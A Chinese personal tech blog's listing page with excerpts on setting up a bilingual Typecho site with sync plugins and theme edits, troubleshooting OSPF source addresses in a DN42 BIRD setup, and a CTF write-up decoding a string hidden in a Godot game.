首页
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
Search
1
Docker下中心化部署EasyTier
1,940 阅读
2
给Android 4.9内核添加KernelSU支持
1,201 阅读
3
在TrueNAS上使用Docker安装1Panel
332 阅读
4
记一次为Android 4.9内核的ROM启用erofs支持
328 阅读
5
2025羊城杯初赛WriteUp
319 阅读
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
登录
Search
标签搜索
网络技术
BGP
Linux
BIRD
DN42
C&C++
Android
AOSP
MSVC
Docker
OSPF
Windows
iBGP
Clearnet
内部路由协议
ASN
服务
DNS
STL
Kernel
神楽悠笙
累计撰写
24
篇文章
累计收到
11
条评论
首页
栏目
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
页面
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
搜索到
24
篇与
的结果
为Typecho配置简易多语言方案
想着给博客做一下国际化支持,为每篇文章和每个页面单独配置一个英文版本,但是上网查了一圈发现Typecho对国际化的支持并不好,最终自己设计了一套方案,写这篇文章记录下来 本文默认你对PHP、Nginx、Typecho的基础逻辑有部分了解 分析 需求 需要为每个文章和页面都配置中英双语 需要配置一个语言选择器,使得前端可以快速切换语言 需要搜索引擎可以正确识别并收录多语言版本的文章 大致方案 中英文文章的区分大致有这两种方案: 作为一个单独的参数,如访问文章时用/?lang=zh-CN和/?lang=en-US来区分,但是这种方案实现起来比较困难,同时对搜索引擎收录也不太好; 通过URL路径区分,如访问https://<host>/article是中文页面,访问https://<host>/en/article是英文页面,这种配置起来比较简单,直接分成两个Typecho实例即可,并且对搜索引擎友好。问题是评论和浏览量统计需要手动同步。 总结下来,我选择了第二种方案,并且打算直接通过在/en/新建一个Typecho实例实现多语言支持。 具体实现 首先将博客实例复制两份,一份中文一份英文,然后分别翻译成英文; 修改前端代码,实现语言选择器; 要保证两边文章URL只有一个/en之差,就得保证中文站点和英文站点文章的cid相同,而这个cid是根据创建文章和附件的顺序来的,因此打算编写一个同步插件,中文端发文章的时候自动在英文数据库中插入一条对应cid的文章; 改写SiteMap插件,因为sitemap不能既包含页面链接又包含其他sitemap的引用,因此主站需要创建两个sitemap,一个是收录中文站页面的主sitemap,另一个是索引,负责索引中文和英文的sitemap; 在<head></head>中添加hreflang属性来告知搜索引擎如何处理多语言; 将英文端的访问量和点赞量链接到中文的数据库; 将英文端的评论链接到中文数据库。 开整 创建英文实例 将整个网站复制一份,放在原先的网站根目录的/en/文件夹下,同时将数据库也复制一份,我这里命名成typecho_en。 接着,分别为两个实例配置伪静态: location /en/ { if (!-e $request_filename) { rewrite ^(.*)$ /en/index.php$1 last; } } location / { if (!-e $request_filename) { rewrite ^(.*)$ /index.php$1 last; } } 关于为什么要将中文的主实例也用location括起来,是因为实际测试的时候发现如果不括起来就会将英文实例也当作中文实例的一部分解析,造成404。 同时,修改<webroot>/en/config.inc.php里的数据库配置,指向英文实例的数据库。 这个时候,访问<host>/en/应该能看到一个和中文主站一模一样的站点。 修改Typecho语言 这一步其实感觉可以不要,因为基本上前端页面的语言都是由主题决定的,将Typecho本身语言设置为英文没什么大用,但是为了统一,还是选择改了一下(这样可以一眼看出来是哪个实例的后台(笑)) 直接参考GitHub上typecho官方的多语言支持即可,从Release里下载语言包,然后解压到<webroot>/en/usr/langs/下,然后进入https://<host>/en/admin/options-general.php,就能看见语言设置选项,改为English即可。 修改主题语言 最繁琐的一步,我使用的是Joe,进入<webroot>/en/usr/themes/Joe,将所有你能看到的显示相关的中文都翻译成英文,这里没什么非常方便的方法,用翻译工具的话翻出来会很别扭,我还是选择了手动翻译。 需要注意的是,有一部分的前端配置是在js中的,不止是PHP源文件,这些都需要翻译。 翻译文章 这一步没啥好说的,把/en/下的文章一篇篇翻译成英文,保存 配置文章同步发布 这一步是为了保持两边文章的cid同步,因为cid和访问url有关,保持cid同步可以使下文配置语言选择器一步更加简单,只要在host后加个/en或者去掉就行了。 cid是数据库中typecho_contents表的一个自增字段,同时也是主键,他的分配和typecho的文章、附件等有关。因为上传的文件也会占用cid,而我打算将所有附件都上传到中文站,因此如果不做特殊处理两边的cid容易匹配不上,增加后续工作量。 因此我选择的方案是用AI编写一个插件,当中文站发布文章的时候自动触发,读取中文站为其分配的cid并写入到英文站的数据库中。 创建文件<webroot>/usr/plugins/SyncToEnglish/Plugin.php并填入如下内容: <?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; /** * 中文文章同步到英文数据库 * * @package SyncToEnglish * @author ChatGPT, iYoRoy * @version 1.0.0 * @link https://example.com */ class SyncToEnglish_Plugin implements Typecho_Plugin_Interface { public static function activate() { Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = [__CLASS__, 'push']; return 'SyncToEnglish 插件已启用:发布中文文章时会自动在英文库创建对应空文章'; error_log("[SyncToEnglish] 插件激活成功"); } public static function deactivate() { return 'SyncToEnglish 插件已禁用'; } public static function config(Typecho_Widget_Helper_Form $form) { $host = new Typecho_Widget_Helper_Form_Element_Text('host', NULL, 'localhost', _t('英文数据库主机')); $user = new Typecho_Widget_Helper_Form_Element_Text('user', NULL, 'root', _t('英文数据库用户名')); $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('英文数据库密码')); $database = new Typecho_Widget_Helper_Form_Element_Text('database', NULL, 'typecho_en', _t('英文数据库名称')); $port = new Typecho_Widget_Helper_Form_Element_Text('port', NULL, '3306', _t('英文数据库端口')); $charset = new Typecho_Widget_Helper_Form_Element_Text('charset', NULL, 'utf8mb4', _t('字符集')); $prefix = new Typecho_Widget_Helper_Form_Element_Text('prefix', NULL, 'typecho_', _t('表前缀')); $form->addInput($host); $form->addInput($user); $form->addInput($password); $form->addInput($database); $form->addInput($port); $form->addInput($charset); $form->addInput($prefix); } public static function personalConfig(Typecho_Widget_Helper_Form $form) {} public static function push($contents, $widget) { $options = Helper::options(); $config = $options->plugin('SyncToEnglish'); // 获取中文库文章信息 $cnDb = Typecho_Db::get(); if (is_array($contents) && isset($contents['cid'])) { $cid = $contents['cid']; $title = $contents['title']; } elseif (is_object($contents) && isset($contents->cid)) { $cid = $contents->cid; $title = $contents->title; } else { $db = Typecho_Db::get(); $row = $db->fetchRow($db->select()->from('table.contents')->order('cid', Typecho_Db::SORT_DESC)->limit(1)); $cid = $row['cid']; $title = $row['title']; error_log("[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n", 3, __DIR__ . '/debug.log'); } $article = $cnDb->fetchRow($cnDb->select()->from('table.contents')->where('cid = ?', $cid)); if (!$article) return; $enDb = new Typecho_Db('Mysql', $config->prefix); $enDb->addServer([ 'host' => $config->host, 'user' => $config->user, 'password' => $config->password, 'charset' => $config->charset, 'port' => (int)$config->port, 'database' => $config->database ], Typecho_Db::READ | Typecho_Db::WRITE); try { $exists = $enDb->fetchRow($enDb->select()->from('table.contents')->where('cid = ?', $article['cid'])); if ($exists) { $enDb->query($enDb->update('table.contents') ->rows([ // 'title' => $article['title'], 'slug' => $article['slug'], 'modified' => $article['modified'] ]) ->where('cid = ?', $article['cid']) ); } else { $enDb->query($enDb->insert('table.contents')->rows([ 'cid' => $article['cid'], 'title' => $article['title'], 'slug' => $article['slug'], 'created' => $article['created'], 'modified' => $article['modified'], 'type' => $article['type'], 'status' => $article['status'], 'authorId' => $article['authorId'], 'views' => 0, 'text' => $article['text'], 'allowComment' => $article['allowComment'], 'allowFeed' => $article['allowFeed'], 'allowPing' => $article['allowPing'] ])); } } catch (Exception $e) { error_log('[SyncToEnglish] 同步失败: ' . $e->getMessage()); } } } 随后去后台启用插件并配置上英文数据库的数据库信息即可。 完成后,在中文站发布文章,英文站应该能同步发布一篇相同cid的文章。 配置语言选择器 既然我们已经完成了同步文章cid,接下来我们修改语言的时候只需要修改url,在前面加上或者去掉/en/就行了。通过PHP编写一个选择器,放在主题的顶栏中: <!-- Language Selector --> <div class="joe_dropdown" trigger="hover" placement="60px"> <div class="joe_dropdown__link"> <a href="#" rel="nofollow">Language</a> <svg class="joe_dropdown__link-icon" viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="14" height="14"> <path d="M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z" fill="var(--main)" /> </svg> </div> <nav class="joe_dropdown__menu"> <?php // 获取当前完整的 URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // 判断是否有英文前缀 "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // 生成两个超链接 echo '<a href="' . $new_url_cn . '">简体中文</a>'; echo '<a href="' . $new_url_en . '">English</a>'; ?> </nav> </div> 需要在中文和英文两个实例中都添加。 之后,全局都能通过这个选择器选择语言。对于我用的Joe主题,移动端和PC端需要单独编写两个语言选择器。 改写SiteMap插件 为了让搜索引擎能更快的收录到英文的页面,我打算修改SiteMap插件,使之包含英文站点的页面。SiteMap有两种,一种是sitemapindex,用于索引子SiteMap,一种是urlset,用于包含页面。我使用的是joyqi/typecho-plugin-sitemap插件,在这个基础上,将默认的/sitemap.xml改为sitemapindex,新建一个路由/sitemap_cn.xml来存放中文站的SiteMap,英文站点的插件不变,再有默认的/sitemap.xml引用/sitemap_cn.xml和/en/sitemap.xml。 修改SiteMap的Plugin.php: /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( - 'sitemap', + 'sitemap_index', '/sitemap.xml', Generator::class, - 'generate', + 'generate_index', 'index' ); + Helper::addRoute( + 'sitemap_cn', + '/sitemap_cn.xml', + Generator::class, + 'generate_cn', + 'index' + ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { - Helper::removeRoute('sitemap'); + Helper::removeRoute('sitemap_index'); + Helper::removeRoute('sitemap_cn'); } {collapse} {collapse-item label="完整代码"} <?php namespace TypechoPlugin\Sitemap; use Typecho\Plugin\PluginInterface; use Typecho\Widget\Helper\Form; use Utils\Helper; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * 自动生成 Typecho 站点地图的插件。 * 站点地图 Sitemap 的地址是:http(s)://yourdomain.com/sitemap.xml * * @package 站点地图插件 * @author joyqi * @version 1.0.0 * @since 1.2.1 * @link https://github.com/joyqi/typecho-plugin-sitemap */ class Plugin implements PluginInterface { /** * Activate plugin method, if activated failed, throw exception will disable this plugin. */ public static function activate() { Helper::addRoute( 'sitemap_index', '/sitemap.xml', Generator::class, 'generate_index', 'index' ); Helper::addRoute( 'sitemap_cn', '/sitemap_cn.xml', Generator::class, 'generate_cn', 'index' ); } /** * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin. */ public static function deactivate() { Helper::removeRoute('sitemap_index'); Helper::removeRoute('sitemap_cn'); } /** * Plugin config panel render method. * * @param Form $form */ public static function config(Form $form) { $sitemapBlock = new Form\Element\Checkbox( 'sitemapBlock', [ 'posts' => _t('生成文章链接'), 'pages' => _t('生成独立页面链接'), 'categories' => _t('生成分类链接'), 'tags' => _t('生成标签链接'), ], ['posts', 'pages', 'categories', 'tags'], _t('站点地图显示') ); $updateFreq = new Form\Element\Select( 'updateFreq', [ 'daily' => _t('每天'), 'weekly' => _t('每周'), 'monthly' => _t('每月或更久'), ], 'daily', _t('更新频率') ); // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text('externalSitemap', NULL, '', _t('附加SiteMap')); $form->addInput($sitemapBlock->multiMode()); $form->addInput($updateFreq); // $form->addInput($externalSitemap); } /** * Plugin personal config panel render method. * * @param Form $form */ public static function personalConfig(Form $form) { // TODO: Implement personalConfig() method. } } {/collapse-item} {/collapse} 修改SiteMap的Generator.php: class Generator extends Contents { + public function generate_index(){ + $sitemap = '<?xml version="1.0" encoding="UTF-8"?> +<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> + <sitemap> + <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> + </sitemap> + <sitemap> + <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> + </sitemap> +</sitemapindex>'; + $this->response->throwContent($sitemap, 'text/xml'); + } + /** * @return void */ - public function generate() + public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; ... {collapse} {collapse-item label="完整代码"} <?php namespace TypechoPlugin\Sitemap; use Widget\Base\Contents; use Widget\Contents\Page\Rows; use Widget\Contents\Post\Recent; use Widget\Metas\Category\Rows as CategoryRows; use Widget\Metas\Tag\Cloud; if (!defined('__TYPECHO_ROOT_DIR__')) { exit; } /** * Sitemap Generator */ class Generator extends Contents { public function generate_index(){ $sitemap = '<?xml version="1.0" encoding="UTF-8"?> <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex>'; $this->response->throwContent($sitemap, 'text/xml'); } /** * @return void */ public function generate_cn() { $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL; $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"' . ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"' . ' xmlns:xhtml="http://www.w3.org/1999/xhtml"' . ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"' . ' xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">' . PHP_EOL; // add homepage $sitemap .= <<<EOF <url> <loc>{$this->options->siteUrl}</loc> <changefreq>daily</changefreq> <priority>1.0</priority> </url> EOF; // add posts if (in_array('posts', $this->options->plugin('Sitemap')->sitemapBlock)) { $postsCount = $this->size($this->select() ->where('table.contents.status = ?', 'publish') ->where('table.contents.created < ?', $this->options->time) ->where('table.contents.type = ?', 'post')); $posts = Recent::alloc(['pageSize' => $postsCount]); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'monthly' : 'weekly'; while ($posts->next()) { $sitemap .= <<<EOF <url> <loc>{$posts->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$posts->date->format('c')}</lastmod> <priority>0.8</priority> </url> EOF; } } // add pages if (in_array('pages', $this->options->plugin('Sitemap')->sitemapBlock)) { $pages = Rows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'yearly' : 'monthly'; while ($pages->next()) { $sitemap .= <<<EOF <url> <loc>{$pages->permalink}</loc> <changefreq>{$freq}</changefreq> <lastmod>{$pages->date->format('c')}</lastmod> <priority>0.5</priority> </url> EOF; } } // add categories if (in_array('categories', $this->options->plugin('Sitemap')->sitemapBlock)) { $categories = CategoryRows::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($categories->next()) { $sitemap .= <<<EOF <url> <loc>{$categories->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.6</priority> </url> EOF; } } // add tags if (in_array('tags', $this->options->plugin('Sitemap')->sitemapBlock)) { $tags = Cloud::alloc(); $freq = $this->options->plugin('Sitemap')->updateFreq; while ($tags->next()) { $sitemap .= <<<EOF <url> <loc>{$tags->permalink}</loc> <changefreq>{$freq}</changefreq> <priority>0.4</priority> </url> EOF; } } $sitemap .= '</urlset>'; $this->response->throwContent($sitemap, 'text/xml'); } } {/collapse-item} {/collapse} 请将代码中的博客地址改成你自己的 (最近太忙了实在是没空给单独写个配置页面了就直接把SiteMap URL写死在插件里了) 禁用再启用插件,访问https://<host>/sitemap.xml应该就能看到SiteMap的索引了: <sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <sitemap> <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc> </sitemap> <sitemap> <loc>https://www.iyoroy.cn/en/sitemap.xml</loc> </sitemap> </sitemapindex> 通过Bing Search等其他搜索引擎的SEO管理页应该也能看到扫描到了英文站的SiteMap: 添加hreflang 这一步的作用是让搜索引擎知道当前页面存在多语言版本,使其可以根据用户的语言偏好或地理位置展示合适的页面。我们需要在页面的<head></head>中插入类似如下格式的link标签: <link rel="alternate" hreflang="en-us" href="https://example.com/us"> <link rel="alternate" hreflang="fr" href="https://example.com/fr"> <link rel="alternate" hreflang="x-default" href="https://example.com/default"> 其中,hreflang="x-default"意为本文的默认语言。hreflang的值是由ISO 639-1的语言代码和ISO 3166-1 Alpha-2的区域代码构成的,其中区域代码可以省略,只标识语言(类似于中文和简体中文(大陆—)、繁体中文(香港),繁体中文(台湾)的区别)。 在主题的<head></head>相关配置中加入如下内容: <?php // 获取当前完整的 URL $current_url = $_SERVER['REQUEST_URI']; $host = $_SERVER['HTTP_HOST']; // 判断是否有英文前缀 "/en/" if (strpos($current_url, '/en/') === 0) { $current_url = substr_replace($current_url, '', 0, 3); } $new_url_cn = 'https://' . $host . $current_url; $new_url_en = 'https://' . $host . '/en' . $current_url; // 生成两个超链接 echo '<link rel="alternate" hreflang="zh-cn" href="'.$new_url_cn.'" />'; echo '<link rel="alternate" hreflang="en-us" href="'.$new_url_en.'" />'; echo '<link rel="alternate" hreflang="x-default" href="'.$new_url_cn.'" />'; ?> 同时需要在中文和英文站点都添加一遍。 之后,访问我们的网站,应该就能在<head>中找到相应的hreflang配置。 同步点赞量和浏览量 这一步和主题关联性比较大,可能并不适用于所有主题。我用的Joe主题,由主题本身连接数据库并读取写入点赞量、浏览量。我直接通过修改英文实例的主题代码,使其直接读写中文实例的点赞量和浏览量即可。 修改<webroot>/en/usr/themes/Joe/core/function.php中获取浏览量的函数: /* 查询文章浏览量 */ function _getViews($item, $type = true) { - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $item->cid))['views']; if ($type) echo number_format($result); else return number_format($result); } 修改<webroot>/en/usr/themes/Joe/core/function.php中获取点赞量的函数: /* 查询文章点赞量 */ function _getAgree($item, $type = true) { - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $item->cid))['agree']; if ($type) echo number_format($result); else return number_format($result); } 修改<webroot>/en/usr/themes/Joe/core/route.php中主页显示浏览量部分的代码: $result[] = array( "mode" => $item->fields->mode ? $item->fields->mode : 'default', "image" => _getThumbnails($item), "time" => date('Y-m-d', $item->created), "created" => date('d/m/Y', $item->created), "title" => $item->title, "abstract" => _getAbstract($item, false), "category" => $item->categories, - "views" => number_format($item->views), + // "views" => number_format($item->views), + "views" => _getViews($item, false), "commentsNum" => number_format($item->commentsNum), - "agree" => number_format($item->agree), + // "agree" => number_format($item->agree), + "agree" => _getAgree($item, false), "permalink" => $item->permalink, "lazyload" => _getLazyload(false), "type" => "normal" ); 文章页面中显示浏览量部分的代码本身就是调用的_getViews,因此不需要修改。 修改增加浏览量部分的代码: /* 增加浏览量 已测试 √ */ function _handleViews($self) { $self->response->setStatus(200); $cid = $self->request->cid; /* sql注入校验 */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { 修改点赞和取消点赞部分代码: /* 点赞和取消点赞 已测试 √ */ function _handleAgree($self) { $self->response->setStatus(200); $cid = $self->request->cid; $type = $self->request->type; /* sql注入校验 */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } /* sql注入校验 */ if (!preg_match('/^[agree|disagree]+$/', $type)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { 完成上述修改后保存,接着访问英文站可发现和中文站的浏览量同步了。 同步评论 本来想弄个插件,hook一下发布评论的函数,在发布的时候同时在另一个实例的数据库中同步插入评论信息,但是发现我的Joe主体已经hook了,我再hook会冲突,因此直接编辑Joe主题的代码: 编辑<webroot>/index/usr/themes/Joe/core/factory.php: <?php require_once("phpmailer.php"); require_once("smtp.php"); /* 加强评论拦截功能 */ Typecho_Plugin::factory('Widget_Feedback')->comment = array('Intercept', 'message'); class Intercept { public static function message($comment) { ... Typecho_Cookie::delete('__typecho_remember_text'); + + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho_en', + 'password' => '[数据删除]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho_en' + ], Typecho_Db::READ | Typecho_Db::WRITE); + + $row = [ + 'coid' => $comment['coid'], // 必须包含新生成的评论ID + 'cid' => $comment['cid'], + 'created' => $comment['created'], + 'author' => $comment['author'], + 'authorId' => $comment['authorId'], + 'ownerId' => $comment['ownerId'], + 'mail' => $comment['mail'], + 'url' => $comment['url'], + 'ip' => $comment['ip'], + 'agent' => $comment['agent'], + 'text' => $comment['text'], + 'type' => $comment['type'], + 'status' => $comment['status'], + 'parent' => $comment['parent'] + ]; + + // 插入数据到目标数据库的 `comments` 表 + $db->query($db->insert('typecho_comments')->rows($row)); return $comment; } } ... 同理也在英文实例如此操作一番,插入到中文的数据库中 这个方案存在的一个问题就是如果有垃圾评论需要删除,需要分别去两个实例各删除一次,后面再修吧(x 参考文章: typecho/languages - GitHub
2025年11月19日
21 阅读
0 评论
0 点赞
DN42&OneManISP - 共存环境下的OSPF源地址故障排除
前情提要 正如这个系列的上文所说,因为VRF方案太过于隔离,导致我部署在HKG节点(172.20.234.225)的DNS服务无法被DN42网络所访问,查阅资料得知可以通过设置veth或者NAT地址转发的方式来实现,但是因为现有的资料比较少,最终还是放弃了VRF这个方案。 结构分析 这次我打算将DN42和公网BGP的路由都放入系统的主路由表,然后再分开导出,通过过滤器来区分是否应该导出。同时,为了更加直观,我将DN42部分的配置和公网(以下简称inet)部分的配置分别单独存放,再由主配置文件引入。同时,因为kernel部分配置一个路由表只应该存在一个,因此合并DN42和inet的kernel部分,仅保留一个。 经过多次优化和修改,我最终的目录结构如下: /etc/bird/ ├─envvars ├─bird.conf: Bird主配置文件,负责定义基本信息(ASN、IP等),引入下面的子配置 ├─kernel.conf: 内核配置,负责将路由导入系统路由表 ├─dn42 | ├─defs.conf: DN42的函数定义,如is_self_dn42_net()这类 | ├─ibgp.conf: DN42 iBGP模板 | ├─rpki.conf: DN42 RPKI路由验证 | ├─ospf.conf: DN42 OSPF内网 | ├─static.conf: DN42静态路由 | ├─ebgp.conf: DN42 Peer模板 | ├─ibgp | | └<ibgp configs>: DN42 iBGP各个节点的配置 | ├─ospf | | └backbone.conf: OSPF区域 | ├─peers | | └<ibgp configs>: DN42 Peer各个节点的配置 ├─inet | ├─peer.conf: 公网Peer | ├─ixp.conf: 公网IXP接入 | ├─defs.conf: 公网部分的函数定义,如is_self_inet_v6() | ├─upstream.conf: 公网上游 | └static.conf: 公网静态路由 将定义函数的部分单独拿出来是因为我需要在kernel.conf的过滤器中引用,因此单独拿出来以便于提前include。 完成后分别填入对应配置,然后由写好include关系,birdc configure后发现也成功跑起来了。于是乎告一段落...吗? 发现问题 运行一段时间后,我突然发现通过我的内网设备Ping HKG节点无法Ping通,通过HKG节点Ping我的其他内部节点也无法Ping通。奇怪的是,外部AS可以通过我的HKG节点Ping到我的其他节点或者其他外部AS,我的内部节点也可以通过HKG节点Ping到其他不直接相连的节点(如:226(NKG)->225(HKG)->229(LAX))。 通过ip route get <内网其他节点地址>发现: root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache 看出问题了吗?src地址本来应该是HKG节点自己的DN42地址(OSPF部分stub网卡配置的),但是这里显示的却是HKG节点的公网地址。 尝试通过birdc s r for 172.20.234.226读取bird学习到的路由: root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink 看起来貌似一切正常...? 理论上来说,虽然DN42的源IP和正常的不太一样,但是DN42在导出到内核的时候改写了krt_prefsrc来告诉内核正确的源地址,理论上不应该出现这样的问题: protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } protocol kernel kernel_v6 { ipv6 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6; accept; }; }; } 关于krt_prefsrc,其含义是Kernel Route Preferred Source。这个属性并非直接操作路由,而是为路由附加一个元数据,它直接告诉 Linux 内核:当通过这条路由发送数据包时,应优先使用这里指定的 IP 地址作为源地址。 在这里卡了好久的说 解决方案 最终,某次无意间尝试给OSPF的导出配置中也加上了krt_prefsrc改写: protocol ospf v3 dn42_ospf_iyoroynet_v4 { router id DN42_OWNIP; ipv4 { - import where is_self_dn42_net() && source != RTS_BGP; + import filter { + if is_self_dn42_net() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIP; + accept; + } + reject; + }; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { router id DN42_OWNIP; ipv6 { - import where is_self_dn42_net_v6() && source != RTS_BGP; + import filter { + if is_self_dn42_net_v6() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIPv6; + accept; + } + reject; + }; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; 之后再运行发现src地址正确了,互相Ping也都能通。 配置文件可参考:KaguraiYoRoy/Bird2-Configuration
2025年10月29日
37 阅读
0 评论
0 点赞
2025羊城杯初赛WriteUp
GD1 通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开,可找到游戏逻辑: extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() 发现当得分到达7906时会调用一个解密算法,将数组a的数据解密然后打印。尝试按照逻辑编写解密程序: #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = 